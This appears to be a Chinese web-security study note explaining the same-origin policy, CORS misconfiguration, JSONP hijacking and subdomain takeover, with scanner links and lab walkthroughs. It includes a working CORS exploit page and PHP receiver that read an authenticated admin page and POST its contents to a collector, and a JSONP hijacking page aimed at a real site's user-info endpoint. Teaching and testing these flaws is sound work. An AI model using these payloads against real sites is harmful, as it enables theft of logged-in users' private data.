部分属于设计上的理念问题,不属于漏洞范畴。

前置知识点

如何产生–发现–利用

  • 同源策略(SOP)

    • “同源”包括三个条件:同协议同域名同端口
    • 同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的关键的安全机制.简单说就是 浏览器 的一种 安全策略
    • 虽然同源策略在安全方面起到了很好的防护作用,但也在一定程度上 限制了 一些 前端 功能的实现,所以就有了许多 跨域的手段
    # 不同源:
    1.http&https
    http://www.sywsec.com
    httpas://www.sywsec.com

    2.子域名
    http://www.sywsec.com
    http://www.sywxxx.com

    3.端口
    http://www.sywsec.com
    http://www.sywsec.com:33

    属于同源
    http://www.sywsec.com/sywsec
    检测的是数据包的来源

  • 子域名接管:

    • 域名解析记录指向域名,对应主机指向了一个当前未在使用或已经删除的特定服务,攻击者通过注册指向域名,从而控制当前域名的控制权,实现恶意软件分发、网络钓鱼/鱼叉式网络钓鱼、XSS 、身份验证绕过等。

    • 子域名接管不仅仅限于CNAME记录,NS,MX甚至A记录也会受到影响。

    • 检测项目:

      https://github.com/pwnesia/dnstake
      https://github.com/anshumanbh/tko-subs
      https://github.com/mhmdiaa/second-order
      https://github.com/r3curs1v3-pr0xy/sub404
      https://github.com/Echocipher/Subdomain-Takeover
  • COSP 跨域资源

    • CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据。

    • 检测项目:https://github.com/chenjj/CORScanner

      Access-Control-Allow-Origin:指定哪些域可以访问域资源。
      例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
      利用条件:对方登录了目标网站-->可以开始获取敏感信息
      Access-Control-Allow-Origin: * # 当前页面文件接收任意页面的调用,接收所有的网站的数据(导致同源策略失效)
      Access-Control-Allow-Origin: http://sywsec.com # 当前页面文件只接收http://sywsec.com的调用,指定从http://sywsec.com获取数据

      Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。
      仅当allow-credentials标头设置为true时,才会发送Cookie。

      Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。
      此标头允许开发人员通过在requester.com请求访问provider.com的资源时,
      指定哪些方法有效来进一步增强安全性。

      需要调用外部资源,但是同源策略限制的太厉害。
      目的:在同源策略下调用外部资源。


      CORS 资源共享
      用户在登录后台或者什么页面时,处于一种登录状态
      在此登录状态下访问第三方页面/网站
      第三方页面去请求这个后台或者页面内容,导致用户
      页面内容泄露
      只能做资源的获取

      CSRF 有同源策略就会失败
      用户在登录后台或者什么页面时,处于一种登录状态
      在此登录状态下访问第三方页面/网站
      第三方页面去请求这个后台或者页面内容,导致用户
      页面内容泄露
  • JSONP跨域回调

    • JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。
    • 检测项目:手工审查元素筛选或Burp项目
    https://github.com/p1g3/JSONP-Hunter
    # 支付接口
    # 尝试调用支付宝官方接口判断是否支付成功
    # 自己的网站域名时支付宝官方的域名吗?--> 不是,属于不同源。不符合同源策略。
    除了支付接口,登录接口等一系列回调 (用户信息放在外部,向外部请求确认信息是否正确)


    # 大用户网站(大用户群体的网站)是否有同源策略? -> 有
    # 部分白名单,其他还是使用同源策略确保业务安全。

    # 此类漏洞:找设置问题 => 看不到
    # 黑盒:判断Origin值设置后是否能通过资源
    # 看数据包有里面有哪些回调==>掺杂敏感信息==>获取出来

    # 浏览器监听数据包,查找callback回调函数

    jsonp劫持示范

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>JSONP劫持测试</title>
    </head>
    <body>
    <script type="text/javascript">
    function callbackFunction(result)
    {
    alert(result.avatar);
    }
    </script>
    <script type="text/javascript" src="https://user.huya.com/user/getUserInfo?callback=jQuery111307180218202556803_1648972650087&uid=1279516241906"></script>
    </body>
    </html>

实例

CORS资源跨域-敏感页面源码获取

复现步骤:

  • 本地搭建访问页面跨域调用URL
  • 受害者访问当前页面被资源共享

只做学习,不做其他

<!DOCTYPE>
<html>
<h1>cors exploit</h1>
<script type="text/javascript">
function exploit()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200)
{
var datas=xhr1.responseText;
xhr2.open("POST","http://localhost:8081/cors1.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("z0="+escape(datas));
}
}
xhr1.open("GET","http://localhost:8081/zblog/zb_system/admin/index.php","true")
xhr1.withCredentials = true;
xhr1.send();
}
exploit();
</script>
</html>

对应的PHP:

$file = fopen("secrect.html", "w+");
$res = $_POST['z0'];
fwrite($file, $res)

JSONP回调跨域-某牙个人信息泄露

复现步骤:
1、登录某牙找到回调有敏感信息
2、本地搭建访问页面跨域调用URL
3、访问本地页面可获取当前某牙信息

假设:
用户A浏览器访问过大型网站(tb,jd,huya,youku等)
(涉及个人隐私信息是能给的)

官方:
来源是攻击者网站,不合法,使用同源策略阻止访问。

回调第三方:
官方认同的合法连接,从哪触发都可以。

攻击者:
尝试获取这些官方的回调页面,而不是直接请求带有敏感信息的页面
回调页面解决了同源策略的安全问题
在自己的网站写触发代码
用户A访问即触发回调,解决掉了同源策略防护问题,从而得到回调页面用户A的数据

子域名接管-瓜迪个人子域名劫持接管

复现步骤::xiaodi8.com

1、通过检测cname获取指向
2、发现testxiaodi.fun过期受控
3、注册testxiaodi.fun实现控制

当一个网站使用"一个域名指向另外一个域名"的服务时,
主服务器指向的下一级域名过期了,你注册了个过期的域名为自己的域名,
就能实现对这个域名的接管。

作用:冒充官方

检测项目-CORS&JSONP&子域名接管

# -i 指向txt(全球的100大网站),-t 限制100
# 检测有没有cors
python cors_scan.py -i top_100_domains.txt -t 100

人工排查+burpsuite 安装Jsonp_Hunter.py抓包使用
方法有二:
# 1.手工在浏览器查询callback并且选择需要的数据包进行处理
# 2.BP插件:Jsonp_Hunter安装,抓包时自动识别

dnsub爬取子域名筛选接管
# 针对一个网站进行子域名筛选,检测后缀是否被注册
dnsub_windows_amd64.exe -d xiaodi8.com